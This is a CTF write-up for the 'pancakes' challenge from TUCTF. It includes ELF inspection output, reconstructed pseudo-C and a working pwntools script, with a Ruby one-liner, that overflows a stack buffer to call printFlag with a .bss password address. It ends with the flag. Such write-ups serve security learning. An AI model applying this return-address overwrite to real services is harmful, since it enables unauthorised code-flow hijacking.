Hello. This was an easy challenge... just stack buffer overflow while NX is enabled... also there are some quite awesome functions and `password` in .bss segment, allowing us to call `printFlag(password)` at the end of `pwnme` function when it returns.
first I got the binary I checked a few things:```$ file ./pancakes ./pancakes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=a653a608db5ab4716ca7b1e891ee3b460e097eb8, for GNU/Linux 3.2.0, not stripped```and also:```$ readelf -l ./pancakes 
Elf file type is EXEC (Executable file)Entry point 0x80490c0There are 11 program headers, starting at offset 52
Program Headers:  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align  PHDR           0x000034 0x08048034 0x08048034 0x00160 0x00160 R   0x4  INTERP         0x000194 0x08048194 0x08048194 0x00013 0x00013 R   0x1      [Requesting program interpreter: /lib/ld-linux.so.2]  LOAD           0x000000 0x08048000 0x08048000 0x0040c 0x0040c R   0x1000  LOAD           0x001000 0x08049000 0x08049000 0x003f8 0x003f8 R E 0x1000  LOAD           0x002000 0x0804a000 0x0804a000 0x0021c 0x0021c R   0x1000  LOAD           0x002f04 0x0804bf04 0x0804bf04 0x00134 0x0017c RW  0x1000  DYNAMIC        0x002f0c 0x0804bf0c 0x0804bf0c 0x000e8 0x000e8 RW  0x4  NOTE           0x0001a8 0x080481a8 0x080481a8 0x00044 0x00044 R   0x4  GNU_EH_FRAME   0x002048 0x0804a048 0x0804a048 0x00054 0x00054 R   0x4  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10  GNU_RELRO      0x002f04 0x0804bf04 0x0804bf04 0x000fc 0x000fc R   0x1
 Section to Segment mapping:  Segment Sections...   00        01     .interp    02     .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt    03     .init .plt .text .fini    04     .rodata .eh_frame_hdr .eh_frame    05     .init_array .fini_array .dynamic .got .got.plt .data .bss    06     .dynamic    07     .note.gnu.build-id .note.ABI-tag    08     .eh_frame_hdr    09        10     .init_array .fini_array .dynamic .got ```so no RWX segment there...
I got to reverse engineer the binary into some pseudo-c:```$ cat pseudo.c #include <stdio.h>#include <stdlib.h>
char password[32]; // 0x804c060
voidreadPassword(){    ebp_0xc = open("...", 0);    read(ebp_0xc, gpass, 0x1a);    close(ebp_0xc);}
voidprintFlag(char *password){    ebp_0xc = open("...", 0);    memset(ebp_0x58, 0, 0x4c);
    readPassword();
    if (memcmp(password, gpass) == 0) {        read(ebp_0xc, ebp_0x58, 0x4b);        puts(ebp_0x58);    }    else {        puts("...");    }
    close(ebp_0xc);}
voidpwnme(){    printf("...");
    read(0, ebp_0x28, 0x40);
    printFlag(ebp_0x28);}
intmain(){    setvbuf(...);    setvbuf(...);
    pwnme();
    return 0;}```
so there is the vuln:```read(0, ebp_0x28, 0x40);```
easy stack-based buffer overflow...since I have the address of `printFlag` (binary isn't PIE) and also `password`, I could easily do this:```printFlag(password);```by```ruby -e 'puts "A"*44 + printFlag_addr + "JUNK" + password_addr' | ./pancakes```
just as a habit I actually wrote a script... (isn't CTF for practicing??)```#/usr/bin/env python2
from pwn import *
def exploit(p):    padding = "A" * 44    gpass_addr = 0x804c060    printFlag = 0x8049226    main = 0x8049319
    payload  = padding    payload += p32(printFlag)    payload += p32(main)    payload += p32(gpass_addr)
    print(p.recvuntil('>'))    p.sendline(payload)
def print_usage(prog):    print("Usage:")    print("\t%s <local_program>" % prog)    print("\t%s <addr> <port>" % prog)
if __name__ == "__main__":    import sys
    context.update(arch='i386', os='linux')
    if len(sys.argv) == 3:        p = remote(sys.argv[1], int(sys.argv[2]))    elif len(sys.argv) == 2:        p = process(sys.argv[1])    else:        print_usage(sys.argv[0])        sys.exit(1)
    exploit(p)    print(p.recv())```
flag : `TUCTF{p4nc4k35_4r3_4b50lu73ly_d3l1c10u5_4nd_y0u_5h0uld_637_50m3_4f73r_7h15}`